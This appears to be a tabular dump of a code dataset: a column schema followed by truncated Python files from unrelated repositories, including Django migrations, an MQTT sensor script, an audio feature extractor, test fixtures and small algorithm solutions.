hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
fb8c8862da313fb340ccbb4fe1822debc2d5df31
617
py
Python
python_examples/python3_test.py
l-althueser/NiMoNa_DCM16
d93ee253ade8ccb4da1f17a91f064258adcf29c0
[ "BSD-2-Clause" ]
1
2018-04-20T07:44:11.000Z
2018-04-20T07:44:11.000Z
python_examples/python3_test.py
l-althueser/NiMoNa_DCM16
d93ee253ade8ccb4da1f17a91f064258adcf29c0
[ "BSD-2-Clause" ]
null
null
null
python_examples/python3_test.py
l-althueser/NiMoNa_DCM16
d93ee253ade8ccb4da1f17a91f064258adcf29c0
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python #============================================================================== # python3_test.py #------------------------------------------------------------------------------ # description :This is a basic python script example with a file header # author :l-althueser # # usage ...
34.277778
79
0.421394
837647487301d9839fb8335b50e78046ba62d346
437
py
Python
IVTa/2014/MOSHKOV_Y_O/VocabTask/pythontest.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
IVTa/2014/MOSHKOV_Y_O/VocabTask/pythontest.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
IVTa/2014/MOSHKOV_Y_O/VocabTask/pythontest.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
orig = open("eng.txt", 'r') num = orig.readline() d = {} for line in orig: raw = line.strip().split(" - ") eng = raw[0] lat = raw[1].split(", ") for word in lat: if word in d: d[word].append(eng) else: d[word] = [eng] orig.close() new = open("lat.txt", 'w') new.write(str(len(d)) + '\n') ...
19.863636
37
0.519451
f7acdca1caf875aa8ac25e50854f23b649d626aa
1,858
py
Python
gestionTomaDatos/migrations/0009_auto_20210120_2034.py
AnuTor/UniNeuroLab
5825f440d4663650f038083f3da05229cc5ada4f
[ "Apache-2.0" ]
1
2021-01-09T01:20:45.000Z
2021-01-09T01:20:45.000Z
gestionTomaDatos/migrations/0009_auto_20210120_2034.py
AnuTor/UniNeuroLab
5825f440d4663650f038083f3da05229cc5ada4f
[ "Apache-2.0" ]
1
2021-01-09T00:53:55.000Z
2021-01-09T00:53:55.000Z
gestionTomaDatos/migrations/0009_auto_20210120_2034.py
AnuTor/UniNeuroLab
5825f440d4663650f038083f3da05229cc5ada4f
[ "Apache-2.0" ]
1
2021-01-07T23:57:28.000Z
2021-01-07T23:57:28.000Z
# Generated by Django 2.2.17 on 2021-01-20 20:34 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('gestionTomaDatos', '0008_auto_20210120_1903'), ] operations = [ migrations.CreateModel( name='AdqData_EEG_Protocolo', ...
48.894737
131
0.651238
790d8aa3dd20e63992a5022c4c718a8f25bcdb4a
371
py
Python
doc/for_dev/scikit-image/setup_codes/cmorph__dilate.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
doc/for_dev/scikit-image/setup_codes/cmorph__dilate.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
doc/for_dev/scikit-image/setup_codes/cmorph__dilate.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
import numpy as np from future.cmorph import _dilate rows = 1024 cols = 1024 srows = 64 scols = 64 image = np.random.randint(0, 255, rows * cols, dtype=np.uint8).reshape( (rows, cols) ) selem = np.random.randint(0, 1, srows * scols, dtype=np.uint8).reshape( (srows, scols) ) out = np.zeros((rows, cols), dtype=...
21.823529
71
0.679245
f70a53838caca2eaa018cef84eeb42f6e4dd002b
223
py
Python
exer2/multiply.py
JekyllAndHyde8999/Git-Tutorials-AIDC
5747e05980c82fd3a22dc3102bcede79079842f9
[ "MIT" ]
null
null
null
exer2/multiply.py
JekyllAndHyde8999/Git-Tutorials-AIDC
5747e05980c82fd3a22dc3102bcede79079842f9
[ "MIT" ]
null
null
null
exer2/multiply.py
JekyllAndHyde8999/Git-Tutorials-AIDC
5747e05980c82fd3a22dc3102bcede79079842f9
[ "MIT" ]
null
null
null
# The objective of this program is to multiply two input numbers def multiply(*args): a = args res = 1 for ele in a: res *= ele return res a1=int(input()) a2=int(input()) print(multiply(a1,a2))
13.9375
64
0.61435
581d12b3049bff8e145c6ac6666239fbc86a7aa7
355
py
Python
src/utils/cvFancy.py
JoseFilipeFerreira/StockManagement
9d619e014d894f4a580abf7cda32431ddbe0783c
[ "MIT" ]
1
2019-06-19T00:02:57.000Z
2019-06-19T00:02:57.000Z
src/utils/cvFancy.py
jtexeira/SO_1819
929ff2e87344f97cb1b604919d180438d97152c9
[ "MIT" ]
null
null
null
src/utils/cvFancy.py
jtexeira/SO_1819
929ff2e87344f97cb1b604919d180438d97152c9
[ "MIT" ]
null
null
null
import sys from string import ascii_lowercase from random import randint, choice def main(): n = 25000 if len(sys.argv) > 1: n = int(sys.argv[1]) for i in range(n): print ("{0}".format(i)) for i in range(n): print ("{0} {1}".format(i, 100)) for i in range(n): print ...
19.722222
40
0.543662
49b62a779009701f5c8885d6ccfe980e1abfdc61
334
py
Python
marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/main/views.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/main/views.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/src/django/birdsong/application/birdsong/main/views.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
from django.shortcuts import render_to_response # Debugging import logging from django.http import HttpResponse def index(request): return render_to_response('main/index.html') def update(request): if request.method == "POST": logging.info(request.POST) return HttpResponse("1,100,200,test\n2,300,...
23.857143
60
0.745509
b7bfea331de666f1c0152806eb97f57772ef8ef2
687
py
Python
Edzna/device/luxes.py
xe1gyq/veracruz
6094d511998705245fc9f25158cc496de5871db3
[ "MIT" ]
null
null
null
Edzna/device/luxes.py
xe1gyq/veracruz
6094d511998705245fc9f25158cc496de5871db3
[ "MIT" ]
null
null
null
Edzna/device/luxes.py
xe1gyq/veracruz
6094d511998705245fc9f25158cc496de5871db3
[ "MIT" ]
null
null
null
#!/usr/bin/python import paho.mqtt.client as paho import time import pyupm_grove as grove from threading import Thread light = grove.GroveLight(0) def functionDataSensor(): return light.value() def functionDataSensorMqttPublish(): mqttclient = paho.Client() mqttclient.connect("iot.eclipse.org", 1883, 60...
20.818182
68
0.69869
4254fdc2241402985abac084a0a8e9a2915bd618
5,423
py
Python
addition_module/DMUE/pretrain/train_mv_softmax.py
weihaoxie/FaceX-Zoo
db0b087e4f4d28152e172d6c8d3767a8870733b4
[ "Apache-2.0" ]
1,329
2021-01-13T07:06:30.000Z
2022-03-31T07:23:39.000Z
addition_module/DMUE/pretrain/train_mv_softmax.py
weihaoxie/FaceX-Zoo
db0b087e4f4d28152e172d6c8d3767a8870733b4
[ "Apache-2.0" ]
115
2021-01-13T10:42:57.000Z
2022-03-28T03:57:52.000Z
addition_module/DMUE/pretrain/train_mv_softmax.py
weihaoxie/FaceX-Zoo
db0b087e4f4d28152e172d6c8d3767a8870733b4
[ "Apache-2.0" ]
351
2021-01-13T07:21:00.000Z
2022-03-29T14:11:39.000Z
import os import sys import shutil import argparse import logging as logger import torch from torch import optim from torch.utils.data import DataLoader from loss_def import MVFace from utils.dataset import ImageDataset from utils.AverageMeter import AverageMeter from utils.make_transform import make_transform parse...
47.570175
114
0.688733
67d1130f5c46f25802e50d0bda071b1573be94c2
8,738
py
Python
src/onegov/winterthur/layout.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/winterthur/layout.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/winterthur/layout.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from cached_property import cached_property from onegov.org.layout import DefaultLayout from onegov.core.elements import Link, LinkGroup, Intercooler, Confirm, Block from onegov.winterthur import _ from onegov.winterthur.collections import AddressCollection from onegov.winterthur.collections import MissionReportCollect...
32.604478
78
0.440719
67d2bbff6891150612074206e1665d7cf2d90029
2,031
py
Python
Welp/util/flask/template_context.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
Welp/util/flask/template_context.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
Welp/util/flask/template_context.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
from __future__ import print_function import sys from flask import Flask from markupsafe import Markup from typing import Any, Dict Attrs = Dict[str, Any] context = sys.modules[__name__].__dict__ # type: Attrs def _filter_hidden(dictionary): # type: (Attrs) -> Attrs """Filters out any attr...
21.378947
86
0.611521
c00b498ec511d3c2ba3e33a51eddad5982201925
1,409
py
Python
6th_sem/souptik_codes/matlabprograms/Actor_01/getmfccs.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
6th_sem/souptik_codes/matlabprograms/Actor_01/getmfccs.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
6th_sem/souptik_codes/matlabprograms/Actor_01/getmfccs.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Dec 17 09:08:51 2018 @author: souptik """ #get mfcc for all wav files from librosa.feature import mfcc #from python_speech_features import mfcc from python_speech_features import logfbank import scipy.io.wavfile as wav import numpy import os #CHUNK_SIZ...
33.547619
96
0.705465
220bdf3df80dba24362ab47cf1926ac30b7284bd
4,270
py
Python
python/oneflow/compatible/single_client/framework/job_instance.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/compatible/single_client/framework/job_instance.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/compatible/single_client/framework/job_instance.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
29.246575
84
0.672131
2267bf456e68c93fcd340e0bc14dab0bbd6b8951
1,698
py
Python
53. Maximum Subarray.py
chenenfeng/lt
be71a83ff485d2fa8850df324e5661767be3dc00
[ "MIT" ]
1
2018-09-03T23:53:43.000Z
2018-09-03T23:53:43.000Z
53. Maximum Subarray.py
chenenfeng/lt
be71a83ff485d2fa8850df324e5661767be3dc00
[ "MIT" ]
null
null
null
53. Maximum Subarray.py
chenenfeng/lt
be71a83ff485d2fa8850df324e5661767be3dc00
[ "MIT" ]
null
null
null
#https://leetcode.com/problems/maximum-subarray/description/ #use recursive thinking to develop # normal traverse all the sublists of list curSum = maxSum = nums[0] # to extend the length of sublists for num in nums[1:]: # consider the all the sublists now(means when length of sublist = i), the maximum result ...
45.891892
132
0.709069
3f17e75e54c9befe6cd0ce019525e8d55241c278
1,893
py
Python
sakf/route/route.py
spdir/sakf
9a07c5f90765201a42d524dc6d4554f4ccd3c750
[ "Apache-2.0" ]
null
null
null
sakf/route/route.py
spdir/sakf
9a07c5f90765201a42d524dc6d4554f4ccd3c750
[ "Apache-2.0" ]
null
null
null
sakf/route/route.py
spdir/sakf
9a07c5f90765201a42d524dc6d4554f4ccd3c750
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # app route from tornado.options import options from sakf.conf import serverConfig from sakf import sakf # ------------- start handler -------------# from sakf.app.sakf import home, test from sakf.app.auth import (auth, user, group, url) from sakf.app.webssh import webssh # ------------- end h...
24.584416
83
0.590069
58dcd6b0423fa8ecf6f29c34b1c9a29e9c27b2f0
899
py
Python
python/advanced_sw/res_code/name.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/advanced_sw/res_code/name.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/advanced_sw/res_code/name.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
import re fname = 'Broken Arrows.mp3' #fname = '23966328_b32_a2.mp4' #fname = 'Kabhi Jo Baadal Barse.mp3' with open(fname, 'rb') as f: lines = [str(x.strip()) for x in f.readlines()] v=0 for line in lines: tmp = line.strip().lower() if 'hungama.com' in tmp and v != 1: str_ = tmp v=1 #print(st...
22.475
60
0.640712
58e186b140c4eef3394a0ca5733ef60b25e9aaa4
2,463
py
Python
research/nlp/skipgram/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
1
2021-11-18T08:17:44.000Z
2021-11-18T08:17:44.000Z
research/nlp/skipgram/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
null
null
null
research/nlp/skipgram/src/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
2
2019-09-01T06:17:04.000Z
2019-10-04T08:39:45.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
49.26
108
0.619976
58f02810240eac2e57f94a5dd0b84cf2a8f9760c
8,528
py
Python
tests/onegov/form/test_grammar.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/form/test_grammar.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/form/test_grammar.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import pytest import re from decimal import Decimal from onegov.form.utils import decimal_range from onegov.form.parser.grammar import ( checkbox, code, currency, date, datetime, decimal, decimal_range_field, email, field_identifier, fileinput, integer_range_field, passw...
25.76435
74
0.589353
4511105e92fc6cbe3366df11ea5892b00e048170
145
py
Python
sources/stage04/bild.py
kantel/pythonschulung2
b13fb24770dd7789f3845aeb147a720dff272951
[ "MIT" ]
null
null
null
sources/stage04/bild.py
kantel/pythonschulung2
b13fb24770dd7789f3845aeb147a720dff272951
[ "MIT" ]
null
null
null
sources/stage04/bild.py
kantel/pythonschulung2
b13fb24770dd7789f3845aeb147a720dff272951
[ "MIT" ]
null
null
null
from PIL import Image import os file_path = os.path.dirname(os.path.abspath(__file__)) os.chdir(file_path) im = Image.open("me.jpg") im.show()
16.111111
54
0.737931
18a82f1140dc907280b84f4adfc570a33f9a6386
256
py
Python
top/clearlight/base/liaoxuefeng/object_oriented_advanced_program/Custom_class.py
ClearlightY/Python_learn
93b9b7efae5a1cf05faf8ee7c5e36dcc99c7a232
[ "Apache-2.0" ]
1
2020-01-16T09:23:43.000Z
2020-01-16T09:23:43.000Z
top/clearlight/base/liaoxuefeng/object_oriented_advanced_program/Custom_class.py
ClearlightY/Python_learn
93b9b7efae5a1cf05faf8ee7c5e36dcc99c7a232
[ "Apache-2.0" ]
null
null
null
top/clearlight/base/liaoxuefeng/object_oriented_advanced_program/Custom_class.py
ClearlightY/Python_learn
93b9b7efae5a1cf05faf8ee7c5e36dcc99c7a232
[ "Apache-2.0" ]
null
null
null
# 定制类 print() ''' _xxx_的变量或者函数名:在Python中有特殊用途 ''' class Student(object): def __init__(self, name): self.name = name def __str__(self): return 'Student object (name: %s)' % self.name print(Student('Mike')) s = Student('Luck')
12.8
54
0.613281
e9f15136504a74d0337bbe16d9c7e34e7cb9d2ac
3,018
py
Python
paddlenlp/datasets/cail2019_scm.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
paddlenlp/datasets/cail2019_scm.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
paddlenlp/datasets/cail2019_scm.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
35.928571
91
0.624254
a1fcfa4c6efb7d783802cb0b8eaffc6d863f9902
353
py
Python
gpt-neo-test/Webserver-GPT/mysite/urls.py
Zeno-Paukner/cellarius
904b88c6dc33cf4ec2f6d70d3e1acf175b11967a
[ "Unlicense" ]
1
2021-12-06T20:29:28.000Z
2021-12-06T20:29:28.000Z
gpt-neo-test/Webserver-GPT/mysite/urls.py
Zeno-Paukner/cellarius
904b88c6dc33cf4ec2f6d70d3e1acf175b11967a
[ "Unlicense" ]
null
null
null
gpt-neo-test/Webserver-GPT/mysite/urls.py
Zeno-Paukner/cellarius
904b88c6dc33cf4ec2f6d70d3e1acf175b11967a
[ "Unlicense" ]
null
null
null
from django.urls import path from django.views.generic import RedirectView from mysite.core import views urlpatterns = [ path('', RedirectView.as_view(url='/form/1/'), name='index'), path('form/1/', views.AddressFormView.as_view(template_name='form.html'), name='form_1'), path('success/', views.SuccessVi...
29.416667
93
0.713881
1a1a167a9a741f69a00090c96eaddd624526e7c3
635
py
Python
source/pkgsrc/devel/py-cython/patches/patch-Cython_Distutils_old__build__ext.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/py-cython/patches/patch-Cython_Distutils_old__build__ext.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/py-cython/patches/patch-Cython_Distutils_old__build__ext.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-Cython_Distutils_old__build__ext.py,v 1.1 2019/12/11 20:20:23 adam Exp $ Revert to Cython 0.29.13 version of this file to fix PR/54712. --- Cython/Distutils/old_build_ext.py.orig 2019-12-11 20:04:08.000000000 +0000 +++ Cython/Distutils/old_build_ext.py @@ -191,8 +191,7 @@ class old_build_ext(_build_ext...
37.352941
87
0.696063
a7f6246507d73749d9fe37b3a6b763cc270954d5
1,605
py
Python
lbry/tests/integration/test_transaction_commands.py
JupyterJones/lbry-sdk
be89436fa869e1b4b9f05c3faa5c126ebcfe6e57
[ "MIT" ]
null
null
null
lbry/tests/integration/test_transaction_commands.py
JupyterJones/lbry-sdk
be89436fa869e1b4b9f05c3faa5c126ebcfe6e57
[ "MIT" ]
4
2020-10-27T21:53:05.000Z
2022-02-11T03:10:54.000Z
lbry/tests/integration/test_transaction_commands.py
braveheart12/lbry-sdk
dc709b468f9dce60d206161785def5c7ace2b763
[ "MIT" ]
null
null
null
from lbry.testcase import CommandTestCase class TransactionCommandsTestCase(CommandTestCase): async def test_transaction_show(self): # local tx result = await self.out(self.daemon.jsonrpc_account_send( '5.0', await self.daemon.jsonrpc_address_unused(self.account.id) )) ...
41.153846
76
0.68785
3dbad91870ae8bece956c799e8859479fd5ca90c
3,912
py
Python
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from CommonServerPython import DemistoException SEND_UPLOADED_FILE_TO_SENDBOX_ANALYSIS_CONTEXT = { 'csfalconx.resource(val.submitted_id === obj.submitted_id)': [{'submitted_id': 'id', 'state': 'created', 'created_timestamp': '2020-05-12T15:34:11Z', 'environment_id': 160, ...
37.980583
125
0.622699
9a9ff0101fd8f9516c12e2ba34adf24756016938
1,192
py
Python
diehard/SnapshotService.py
esycat/diehard
01baf115b050ab9239764f1742720d88c6083476
[ "Apache-2.0" ]
1
2018-05-02T21:25:20.000Z
2018-05-02T21:25:20.000Z
diehard/SnapshotService.py
esycat/diehard
01baf115b050ab9239764f1742720d88c6083476
[ "Apache-2.0" ]
null
null
null
diehard/SnapshotService.py
esycat/diehard
01baf115b050ab9239764f1742720d88c6083476
[ "Apache-2.0" ]
null
null
null
import os, logging from datetime import date from Retention import Retention from aws import getNameOf class SnapshotService(): def __init__(self): self.logger = logging.getLogger() def create(self, volume, retention): name = self.composeName(volume) tags = [ {'Key': 'Nam...
33.111111
142
0.630034
9aeee636aedf05fa062bc3202dd0cd34f53b394a
2,075
py
Python
src/examples/annotateSpectrum.py
wrthfl/pyopenms-tewb
f02ab0393df746846c26ed6c812964f9da355b99
[ "Zlib", "Apache-2.0" ]
1
2020-05-26T16:16:14.000Z
2020-05-26T16:16:14.000Z
src/examples/annotateSpectrum.py
wrthfl/pyopenms-tewb
f02ab0393df746846c26ed6c812964f9da355b99
[ "Zlib", "Apache-2.0" ]
null
null
null
src/examples/annotateSpectrum.py
wrthfl/pyopenms-tewb
f02ab0393df746846c26ed6c812964f9da355b99
[ "Zlib", "Apache-2.0" ]
1
2020-05-16T20:09:17.000Z
2020-05-16T20:09:17.000Z
from pyopenms import * # Initialize Experiment exp = MSExperiment() # Load file into experiment container MzMLFile().load('../data/YIC(Carbamidomethyl)DNQDTISSK.mzML', exp) # Get first spectrum spectra = exp.getSpectra() spectrum = exp[0] # Generate theoretical spectrum tsg = TheoreticalSpectrumGenerator() theo_spe...
37.053571
154
0.703614
b128dd1b6fe144aba225b00ffbfaa102fb94a6b3
2,248
py
Python
jumeaux/addons/reqs2reqs/empty_guard.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
11
2017-10-02T01:29:12.000Z
2022-03-31T08:37:22.000Z
jumeaux/addons/reqs2reqs/empty_guard.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
79
2017-07-16T14:47:17.000Z
2022-03-31T08:49:14.000Z
jumeaux/addons/reqs2reqs/empty_guard.py
ihatov08/jumeaux
7d983474df4b6dcfa57ea1a66901fbc99ebababa
[ "MIT" ]
2
2019-01-28T06:11:58.000Z
2021-01-25T07:21:21.000Z
# -*- coding:utf-8 -*- import sys from owlmixin import OwlMixin, TList, TOption from jumeaux.addons.reqs2reqs import Reqs2ReqsExecutor from jumeaux.utils import jinja2_format, get_jinja2_format_error from jumeaux.logger import Logger from jumeaux.domain.config.vo import Config as JumeauxConfig from jumeaux.models im...
36.258065
99
0.653025
4925477ad4bdbd53c9f624de4aeb76445ed94164
829
py
Python
apps/home/migrations/0001_initial.py
AlcindoSchleder/dashboard
aacb847bee05368bff72853a7d1887de211bccd2
[ "MIT" ]
null
null
null
apps/home/migrations/0001_initial.py
AlcindoSchleder/dashboard
aacb847bee05368bff72853a7d1887de211bccd2
[ "MIT" ]
4
2020-09-21T01:32:14.000Z
2020-09-21T01:32:47.000Z
apps/home/migrations/0001_initial.py
AlcindoSchleder/dashboard
aacb847bee05368bff72853a7d1887de211bccd2
[ "MIT" ]
null
null
null
# Generated by Django 3.1.1 on 2020-09-20 02:03 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='MarketProduct', fields=[ ('pk_product', mod...
29.607143
122
0.574186
4966c798a6aa77dbf2e7620943f9e59ab476750f
45
py
Python
brick/example/__init__.py
xsank/bottle
4c228043ea31811fffd8eb30914d025c1fd43dc0
[ "MIT" ]
9
2015-01-06T01:32:43.000Z
2017-03-01T18:34:54.000Z
brick/example/__init__.py
jude90/bottle
4c228043ea31811fffd8eb30914d025c1fd43dc0
[ "MIT" ]
null
null
null
brick/example/__init__.py
jude90/bottle
4c228043ea31811fffd8eb30914d025c1fd43dc0
[ "MIT" ]
4
2015-02-05T09:48:43.000Z
2016-02-22T15:04:35.000Z
''' Created on 2013-4-25 @author: Xsank '''
7.5
20
0.6
b879c2bd6f936da61acec906678ff53ca7cc74ad
917
py
Python
Problems/Depth-First Search/easy/ConstructStringFromBT/construct_str_from_bt.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Depth-First Search/easy/ConstructStringFromBT/construct_str_from_bt.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Depth-First Search/easy/ConstructStringFromBT/construct_str_from_bt.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from typing import Optional # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right # Recursive def tree2str(self, root: Optional[TreeNode]) -> str: res_str = str(root.val) if not ro...
21.833333
53
0.577972
b883ddefc8325361b782f2633bea3b1c8b5c7a44
244
py
Python
exercises/ja/test_02_10_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/ja/test_02_10_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/ja/test_02_10_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
def test(): assert ( "doc1.similarity(doc2)" or "doc2.similarity(doc1)" in __solution__ ), "2つのdocの類似度を比較しましたか?" assert 0 <= float(similarity) <= 1, "simirlarityは浮動小数点数である必要があります。きちんと計算しましたか?" __msg__.good("Well done!")
34.857143
83
0.672131
b2662ce01cb52f0b0e355dc452f0f9001c0fcdd5
799
py
Python
scripts/open_cv/open_cv_sw03_region_of_interest.py
ProfJust/Ruhr-TurtleBot-Competition-RTC-
5c2425bee331b4d5033757a9425676932d111775
